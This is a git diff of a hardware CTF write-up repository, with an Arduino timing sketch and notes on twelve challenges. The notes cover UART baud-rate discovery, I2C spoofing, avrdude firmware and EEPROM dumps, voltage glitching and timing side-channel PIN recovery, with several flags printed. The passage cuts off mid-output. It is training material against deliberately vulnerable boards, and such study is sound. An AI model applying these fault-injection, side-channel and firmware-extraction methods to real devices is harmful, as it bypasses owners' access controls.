+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
